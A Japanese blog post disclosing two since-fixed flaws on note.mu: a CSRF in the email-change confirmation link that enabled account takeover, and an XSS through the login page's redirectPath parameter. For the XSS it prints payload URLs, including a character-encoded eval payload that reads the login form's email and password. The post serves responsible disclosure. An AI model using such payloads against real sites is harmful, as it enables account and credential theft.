noteにあったバグ

2018年11月の頭までnoteにセキュリティ上のバグがあった。
上手く使えば他のユーザーのアカウントを奪取することができた。
今は報告して修正してもらった。

**メールアドレスの変更確認リンクでのCSRF**

スクショ動画↓

メールアドレスの変更方法に問題があった。
当時の仕様では、ユーザーが https://note.mu/settings/account の「メールアドレス 変更」から「新しいメールアドレス」を入力・送信すると、そこで入力したメールアドレスに「メールアドレスの確認」メールが送信され、ユーザーがそのメールに記載されたリンク(https://note.mu/update_email?token= ~)を踏むことで、メールアドレスの変更するという仕組みだった。
ここで送信される「メールアドレスの確認」メールに問題があった。

2人のユーザー、A(攻撃者)、B(標的)を仮定すると、修正前はユーザーAが「メールアドレス 変更」によって取得した「メールアドレスの確認」メールに記載されたリンクを、ユーザーBがログイン中に踏んだ場合、ユーザーAではなく、ユーザーBのメールアドレスが変更されてしまう仕様だった。
(変更先は「新しいメールアドレス」でAが指定したメールアドレス)

この仕様と「パスワードを忘れた方」ページ(https://note.mu/reset_password)のパスワードリセットの機能を利用することによって、ユーザーAの立場の人物が、ユーザーBにあたる人物のメールアドレスとパスワードを奪うことができ、アカウントを奪取することができた。

現在は以下の方法で対応されている。

- メールアドレス変更確認のページで画面にパスワード入力を求めること
- メールアドレス変更者以外がメールアドレス変更確認ページのURLを開こうとすると、「ご指定のページが見つかりません。」の表記が出てメールアドレスは変更できないこと

**ログイン画面でのリダレクトによるXSS**

ログインページの?redirectPathにjavascriptスキームを指定することでXSSができた。ログイン成功後JavaScriptが発火した。

https://note.mu/login?redirectPath=javascript:alert(document.cookie)

また単純に、フォームに入力されたメールアドレスとパスワードを奪うことができた。

いくつか使えない文字があったので、任意のJavaScriptを実行するためには以下のように関数でJavaScript文字列を組み立て、evalを使う必要があった。

https://note.mu/login?redirectPath=javascript:eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x27,0x58,0x53,0x53,0x5C,0x6E,0x30E1,0x30FC,0x30EB,0x30A2,0x30C9,0x30EC,0x30B9,0x3A,0x20,0x27,0x20,0x2B,0x20,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x67,0x65,0x74,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x73,0x42,0x79,0x54,0x61,0x67,0x4E,0x61,0x6D,0x65,0x28,0x27,0x69,0x6E,0x70,0x75,0x74,0x27,0x29,0x5B,0x30,0x5D,0x2E,0x76,0x61,0x6C,0x75,0x65,0x20,0x2B,0x20,0x27,0x5C,0x6E,0x30D1,0x30B9,0x30EF,0x30FC,0x30C9,0x3A,0x20,0x27,0x20,0x2B,0x20,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x67,0x65,0x74,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x73,0x42,0x79,0x54,0x61,0x67,0x4E,0x61,0x6D,0x65,0x28,0x27,0x69,0x6E,0x70,0x75,0x74,0x27,0x29,0x5B,0x31,0x5D,0x2E,0x76,0x61,0x6C,0x75,0x65,0x29,0xD,0xA))

上記の内容をまず伝え修正してもらったが、修正後もdata: スキームでXSSをすることができた。追加で報告して直してもらった。

今回はじめて知ったが、data: スキームでのXSSは現在主要なブラウザの最新バージョンでは動かないらしい。
このdata: でのXSSを見つけたとき手元のSafariではXSSが動いたが、それもちょうどmacOSのアップデートをしたら使えなくなった。

data: スキームでのXSSは初めてだったので勉強になった。

この記事が気に入ったらサポートをしてみませんか?